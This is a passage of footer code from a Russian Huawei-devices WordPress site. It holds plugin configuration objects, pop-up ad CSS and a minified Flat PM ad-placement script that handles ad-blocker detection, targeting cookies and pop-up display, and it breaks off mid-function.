данный тип файлов, то вы должны соответствующим образом установить настройки вашего браузера или не использовать сайт. </span></div></footer></div></div> <script>(function($){ $(function(){ $(document).on("click", ".pseudo-link", function(){ window.open($(this).data("link")); }); }); })(jQuery);</script> <center style="display:none; visibility: hidden;"> <a href="//www.liveinternet.ru/click"target="_blank"><img src="//counter.yadro.ru/logo?26.6"title="LiveInternet: показано число посетителей за сегодня"alt="" border="0" width="88" height="15"/></a></center> <script type='text/javascript' id='contact-form-7-js-extra'>var wpcf7 = {"api":{"root":"https:\/\/huaweidevices.ru\/wp-json\/","namespace":"contact-form-7\/v1"},"cached":"1"};</script> <script type='text/javascript' id='toc-front-js-extra'>var tocplus = {"smooth_scroll":"1","visibility_show":"\u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c","visibility_hide":"\u0421\u043a\u0440\u044b\u0442\u044c","width":"Auto"};</script> <script type='text/javascript' id='wp-postratings-js-extra'>var ratingsL10n = {"plugin_url":"https:\/\/huaweidevices.ru\/wp-content\/plugins\/wp-postratings","ajax_url":"https:\/\/huaweidevices.ru\/wp-admin\/admin-ajax.php","text_wait":"\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043d\u0435 \u0433\u043e\u043b\u043e\u0441\u0443\u0439\u0442\u0435 \u0437\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e.","image":"stars","image_ext":"gif","max":"5","show_loading":"1","show_fading":"1","custom":"0"}; var ratings_mouseover_image=new Image();ratings_mouseover_image.src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/stars/rating_over.gif";;</script> <script type='text/javascript' id='q2w3_fixed_widget-js-extra'>var q2w3_sidebar_options = [{"sidebar":"sidebar","use_sticky_position":false,"margin_top":60,"margin_bottom":100,"stop_elements_selectors":"","screen_max_width":0,"screen_max_height":0,"widgets":["#custom_html-5"]}];</script> <script type='text/javascript' id='add_linkoncopy-js-extra'>var astx_add_link_copied_text = {"readmore":"\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a:","addlinktosite":"","addsitename":"","breaks":"2","cleartext":"","reloption":"na","replaced_text":"","target":"","usesitenameaslink":"1","usetitle":"","sitename":"Huawei Devices","siteurl":"https:\/\/huaweidevices.ru","frontpage":""};</script> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins><style>.fpm_5_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .fpm_5_modal-show{z-index:2000;visibility:visible} .fpm_5_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .fpm_5_modal-show ~ .fpm_5_modal-overlay{z-index:1000;opacity:1;visibility:visible} .fpm_5_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .fpm_5_modal-show .fpm_5_modal-content{transform:translateY(0);opacity:1} .fpm_5_modal .fpm_5_timer, .fpm_5_modal .fpm_5_cross{top:0!important} .fpm_5_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .fpm_5_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .fpm_5_cross:after, .fpm_5_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .fpm_5_cross:before{transform:rotate(-45deg)} .fpm_5_cross:hover:after{transform:rotate(225deg)} .fpm_5_cross:hover:before{transform:rotate(135deg)} .fpm_5_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .fpm_5_timer span{font-size:16px;font-weight:600} .fpm_5_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .fpm_5_out *{max-width:none!important} .fpm_5_out.top .fpm_5_cross{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_cross{bottom:-0px} .fpm_5_out.bottom .fpm_5_cross{top:150px} .fpm_5_out.show.bottom .fpm_5_cross{top:-0px} .fpm_5_out.right .fpm_5_cross{right:auto;left:0} .fpm_5_out.top .fpm_5_timer{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_timer{bottom:-0px} .fpm_5_out.bottom .fpm_5_timer{top:150px} .fpm_5_out.show.bottom .fpm_5_timer{top:-0px} .fpm_5_out.right .fpm_5_timer{right:auto;left:0} .fpm_5_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .fpm_5_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .fpm_5_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .fpm_5_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .fpm_5_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .fpm_5_out.closed{min-width:0;min-height:0} .fpm_5_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .fpm_5_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .fpm_5_out.show.left{transform:translateX(100%)} .fpm_5_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .fpm_5_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .fpm_5_video iframe{display:block;width:100%;height:100%;position:absolute} .fpm_5_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .fpm_5_video_flex.show{opacity:1} .fpm_5_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .fpm_5_video_flex.show .fpm_5_video_item{z-index:1} .fpm_5_video_flex .fpm_5_timer, .fpm_5_video_flex .fpm_5_cross{top:10px!important;right:10px!important} .fpm_5_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2}</style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(t){var e=document.createElement("div");ff(document.currentScript).after(e),flatPM_setHTML(e,t),ff(e).contents().unwrap()},window.flatPM_sticky=function(t,a,e){var l=t,d=null,s=e=e||0;function n(){if(null==d){for(var t=getComputedStyle(l,""),e="",n=0;n<t.length;n++)0!=t[n].indexOf("overflow")&&0!=t[n].indexOf("padding")&&0!=t[n].indexOf("border")&&0!=t[n].indexOf("outline")&&0!=t[n].indexOf("box-shadow")&&0!=t[n].indexOf("background")||(e+=t[n]+": "+t.getPropertyValue(t[n])+"; ");(d=document.createElement("div")).style.cssText=e+" box-sizing: border-box; width: "+l.offsetWidth+"px;",l.insertBefore(d,l.firstChild);for(var o=l.childNodes.length,n=1;n<o;n++)d.appendChild(l.childNodes[1]);l.style.padding="0",l.style.border="0"}l.style.height=d.getBoundingClientRect().height+"px";var r=l.getBoundingClientRect(),i=Math.round(r.top+d.getBoundingClientRect().height-a.getBoundingClientRect().bottom);r.top-s<=0?r.top-s<=i?(d.className="flatpm_stop",d.style.top=-i+"px"):(d.className="flatpm_fixed",d.style.top=s+"px"):(d.className="",d.style.top=""),window.addEventListener("resize",function(){l.children[0].style.width=getComputedStyle(l,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(t,e){var n=60*t.getTimezoneOffset()*1e3,o=t.getTime(),t=new Date;return o+=864e5*e,t.setTime(o),n!=(e=60*t.getTimezoneOffset()*1e3)&&(o+=e-n,t.setTime(o)),t},window.flatPM_adbDetect=function(){var t=document.querySelector('#adsense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!t)return!0;t=t.currentStyle||window.getComputedStyle(t,null),t=parseInt(t.height);return!(!isNaN(t)&&0!=t)},window.flatPM_setCookie=function(t,e,n){var o,r=(n=n||{path:"/"}).expires;"number"==typeof r&&r&&((o=new Date).setTime(o.getTime()+1e3*r),r=n.expires=o),r&&r.toUTCString&&(n.expires=r.toUTCString());var i,a=t+"="+(e=encodeURIComponent(e));for(i in n){a+="; "+i;var l=n[i];!0!==l&&(a+="="+l)}document.cookie=a},window.flatPM_getCookie=function(n){var t=document.cookie.split("; ").reduce(function(t,e){e=e.split("=");return e[0]===n?decodeURIComponent(e[1]):t},"");return""!=t?t:void 0},window.flatPM_testCookie=function(){var t="test_56445";try{return localStorage.setItem(t,t),localStorage.removeItem(t),!0}catch(t){return!1}},window.flatPM_grep=function(t,n,o){return ff.grep(t,function(t,e){return o?e==n:(e+1)%n==0})},window.flatPM_randomString=function(t){for(var e="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,r=0;r<t;r++)e+=n.charAt(Math.floor(Math.random()*o));return e},window.flatPM_random=function(t,e){return Math.floor(Math.random()*(e-t+1))+t},window.flatPM_sanitizeUrlParams=function(t){return t&&["__proto__","constructor","prototype"].includes(t.toLowerCase())?t.toUpperCase():t},window.flatPM_getAllUrlParams=function(t){var e={};if(!t||0==t.length)return e;t=(t=flatPM_sanitizeUrlParams(t))?t.split("?")[1]:window.location.search.slice(1);if(t)for(var n=(t=t.split("#")[0]).split("&"),o=0;o<n.length;o++){var r,i=n[o].split("="),a=i[0],l=void 0===i[1]||i[1],a=a.toLowerCase();"string"==typeof l&&(l=l.toLowerCase()),a.match(/\[(\d+)?\]$/)?(e[r=a.replace(/\[(\d+)?\]/,"")]||(e[r]=[]),a.match(/\[\d+\]$/)?(i=/\[(\d+)\]/.exec(a)[1],e[r][i]=l):e[r].push(l)):e[a]?(e[a]&&"string"==typeof e[a]&&(e[a]=[e[a]]),e[a].push(l)):e[a]=l}return e};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,o=0;o<e;o++){var a=t[o].str;if(a&&t[o].subStr.test(a))return t[o].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var o=flat_pm_then[e];flatPM_next(o)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,o,e){var a=0,r=!1;return t.each(function(){var t=ff(this),e=t.clone().find("img, ins, script, style, noscript").remove().end().text().replace(/(\s)+/g,"");if(a+=e.length,o<=a)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,o,a,r,i,l,s,f,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(o=!1)!==e&&(a=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=a.length&&(console.log(e.prevUntil(a).text().replace(/(\s)+/g,"").length),e.prevUntil(a).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),0!=r.length&&(console.log(e.nextUntil(r).text().replace(/(\s)+/g,"").length),e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),o||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,s=t.how.onсe.selector,f=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(s).add(i.filter(s))).length&&(l="bottom_to_top"==f?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,s=t.how.iterable.selector,f=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(s).add(i.filter(s))).length&&("bottom_to_top"==f&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(a){try{var t=[],e="",o=a.html.length;if(void 0!==a.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.role&&(void 0!==a.role.role_enabled&&-1==a.role.role_enabled.indexOf(flat_userVars.role)||void 0!==a.role.role_disabled&&-1!=a.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.geo&&(void 0!==a.geo.country_enabled&&-1==a.geo.country_enabled.indexOf(flat_userVars.country)&&-1==a.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==a.geo.country_disabled&&(-1!=a.geo.country_disabled.indexOf(flat_userVars.country)||-1!=a.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==a.geo.city_enabled&&-1==a.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==a.geo.city_disabled&&-1!=a.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+a.ID+'"]').remove();for(var r,i,l,s,f=0;f<o;f++)("∞"==a.html[f].res_of||a.html[f].res_of<=flat_userVars.winwidth)&&("∞"==a.html[f].res_to||a.html[f].res_to>flat_userVars.winwidth)&&(void 0!==a.html[f].group?flat_userVars.adb?(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd)):(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(a.html[f].fst)):flat_userVars.adb?t.push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd):t.push(a.html[f].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0===a.how.simple&&void 0===a.how.onсe&&void 0===a.how.iterable||ff('[data-flat-id="'+a.ID+'"]').each(function(){flatPM_setHTML(this,e)}),void 0!==a.how.popup&&(p="true"==a.how.popup.cross?void 0!==a.how.popup.timer&&"true"==a.how.popup.timer?'<div class="fpm_5_timer">Закрыть через <span>'+a.how.popup.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",document.createElement("div"),c=ff(window),b=ff("body"),g=void 0===flatPM_getCookie("flat_modal_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+a.ID+"_mb"),i="scroll.flatmodal"+a.ID,m="mouseleave.flatmodal"+a.ID+" blur.flatmodal"+a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&"true"==a.how.popup.timer&&(t=ff('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))},s=function(){void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie&&g&&(flatPM_setCookie("flat_modal_"+a.ID+"_mb",!1),ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l()),void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie||(ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l())},ff("body > *").eq(0).before('<div class="fpm_5_modal" data-flat-id="'+a.ID+'" data-id-modal="'+a.ID+'"><div class="fpm_5_modal-content">'+p+"</div></div>"),w=document.querySelector('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_modal-content'),flatPM_setHTML(w,e),"px"==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer&&(t=ff('.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie&&g&&(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n(),b.on("click",'.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_cross',function(){flatPM_setCookie("flat_out_"+a.ID+"_mb",!1)})),void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie||(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n())}var _,u="0"!=a.how.outgoing.indent?' style="bottom:'+a.how.outgoing.indent+'px"':"",p="true"==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer?'<div class="fpm_5_timer">Закрыть через <span>'+a.how.outgoing.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",c=ff(window),h="scroll.out"+a.ID,m="mouseleave.outgoing"+a.ID+" blur.outgoing"+a.ID,g=void 0===flatPM_getCookie("flat_out_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+a.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(a.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="fpm_5_out '+_+'"'+u+' data-flat-id="'+a.ID+'" data-id-out="'+a.ID+'">'+p+"</div>");var v,w=document.querySelector('.fpm_5_out[data-id-out="'+a.ID+'"]');flatPM_setHTML(w,e),"px"==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var o=flat_pm_arr[e],a=!1;if(!(void 0!==o.chapter_limit&&o.chapter_limit>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_userVars.textlen||void 0!==o.title_limit&&o.title_limit>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_userVars.titlelen)){if(void 0!==o.date){if(void 0!==o.date.time_of&&void 0!==o.date.time_to){var r=new Date(flat_userVars.date+"T"+o.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+o.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),s=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),s<r||i<s)continue}if(void 0!==o.date.date_of&&void 0!==o.date.date_to){var i=new Date(o.date.date_of+"T00:00:00"),s=new Date(o.date.date_to+"T00:00:00"),f=new Date(flat_userVars.date+"T00:00:00");if(f<i||s<f)continue}}if(void 0===o.os||!(void 0!==o.os.os_enabled&&-1==o.os.os_enabled.indexOf(flat_userVars.os)||void 0!==o.os.os_disabled&&-1!=o.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==o.cookies){var n=!1;if(void 0!==o.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(o.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==o.cookies.cookies_disabled&&flat_userVars.testcook&&ff(o.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==o.utmget){var d=!1;if(void 0!==o.utmget.utmget_enabled&&ff(o.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==o.utmget.utmget_disabled&&ff(o.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==o.referer&&(void 0!==o.referer.referer_enabled&&-1==o.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==o.referer.referer_disabled&&-1!=o.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(a=!0),!a&&void 0!==o.browser&&(void 0!==o.browser.browser_enabled&&-1==o.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==o.browser.browser_disabled&&-1!=o.browser.browser_disabled.indexOf(flat_userVars.browser))||(a&&void 0!==o.browser&&void 0!==o.browser.browser_enabled&&-1!=o.browser.browser_enabled.indexOf(flat_userVars.browser)&&(a=!1),a||void 0===o.geo&&void 0===o.ip&&void 0===o.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(f="block_geo_role_ip",flat_pm_then.push(o),flatPM_setWrap(o),flat_body.hasClass(f)||(flat_body.addClass(f),flatPM_ajax(f)),a=!0),a||(flatPM_setWrap(o),flatPM_next(o)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="fpm_5_modal-overlay"></div>'),flat_body.on("click",".fpm_5_out .fpm_5_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".fpm_5_modal .fpm_5_cross",function(){ff(this).closest(".fpm_5_modal").removeClass("fpm_5_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),ff("[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)").contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return 